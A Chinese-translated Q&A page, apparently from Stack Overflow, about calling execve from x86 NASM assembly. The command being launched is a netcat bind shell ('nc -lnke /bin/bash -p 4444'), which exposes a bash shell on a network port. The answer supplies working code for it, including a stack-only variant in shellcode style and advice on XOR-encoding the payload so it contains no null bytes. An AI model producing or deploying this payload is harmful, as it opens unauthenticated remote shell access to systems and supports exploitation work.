繁体   English   中英

用汇编中的参数调用execve的正确方法是什么?

[英]What is proper way to call execve with arguments in assembly?

我正在尝试使用execve执行以下命令: /bin//nc -lnke /bin/bash -p 4444

在阅读execve的手册页时,我看到以下要求:

int execve(const char *filename, char *const argv[],
                  char *const envp[]);

我遇到的问题是将争论推向argv ; 我不明白如何将数组推入(组装中)以使其正常工作。

我当前正在使用的程序集如下:

global _start

_start:
    xor eax, eax

    ; command
    push eax
    push 0x636e2f2f
    push 0x6e69622f
    mov ebx, esp

    ; args
    push eax
    push 0x34343434
    push 0x20702d20
    push 0x68736162
    push 0x2f6e6962
    push 0x2f20656b
    push 0x6e6c2d20
    mov ecx, esp

    ; null, arg 1
    push eax
    mov edx, esp

    ; push to stack
    push edx
    push ecx
    push ebx

    ; command
    mov al, 11
    int 0x80

结果将以下内容传递给execve

$ strace -f -e execve -s 10000 ./bind 
execve("/bin//nc", [0x6e6c2d20, 0x2f20656b, 0x2f6e6962, 0x68736162, 0x20702d20, 0x34343434], 0xffd4c0d4 /* 0 vars */) = -1 EFAULT (Bad address)

如何使用汇编正确传递这些参数?

我正在使用带有nasm Linux

在C语言中,数组被隐式转换为指向其第一个元素的指针。 因此,在您的情况下,您需要将指针传递给指向字符串的指针数组。 每个数组都以空指针终止。 每个字符串都以NUL字节结尾。 系统调用的参数在ebxecxedx等中传递,而系统调用号在eax 像这样:

        section .data
        ; strings
arg0    db "/bin//nc",0
arg1    db "-lnke",0
arg2    db "/bin/bash",0
arg3    db "-p",0
arg4    db "4444",0

        ; arrays
        align 4
argv    dd arg0, arg1, arg2, arg3, arg4, 0
envp    dd 0

        section .text
        global _start
_start: mov eax, 11   ; SYS_execve
        mov ebx, arg0 ; filanem
        mov ecx, argv ; argv
        mov edx, envp ; envp
        int 0x80      ; syscall

我不确定要为哪个操作系统编程。 本示例假设使用Linux。

如果由于某种原因无法使用数据段,请按照以下步骤操作:

        ; for easier addressing
        mov ebp, esp

        ; push strings

        xor eax, eax
        push eax          ; - 4    
        push "4444"       ; - 8
        push "\0-p\0"     ; -12
        push "bash"       ; -16
        push "bin/"       ; -20
        push "ke\0/"      ; -24
        push "\0-ln"      ; -28
        push "//nc"       ; -32
        push "/bin"       ; -36

        ; push argv, right to left
        xor eax, eax
        push eax          ; NULL
        lea ebx, [ebp-8]
        push ebx          ; "4444\0"
        lea ebx, [ebp-11]
        push ebx          ; "-p\0"
        lea ebx, [ebp-21]
        push ebx          ; "/bin/bash\0"
        lea ebx, [ebp-27]
        push ebx          ; "-lnke\0"
        lea ebx, [ebp-36] ; filename
        push ebx          ; "/bin//nc\0"
        mov ecx, esp      ; argv
        lea edx, [ebp-4]  ; envp (NULL)

        mov al, 11        ; SYS_execve
        int 0x80

如果由于某种原因您无法在数据中包含空字节,则需要事先进行隐蔽。 例如,您可以将每个字节用0x80进行异或运算,然后再用0x80对堆栈中的数据进行异或运算。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM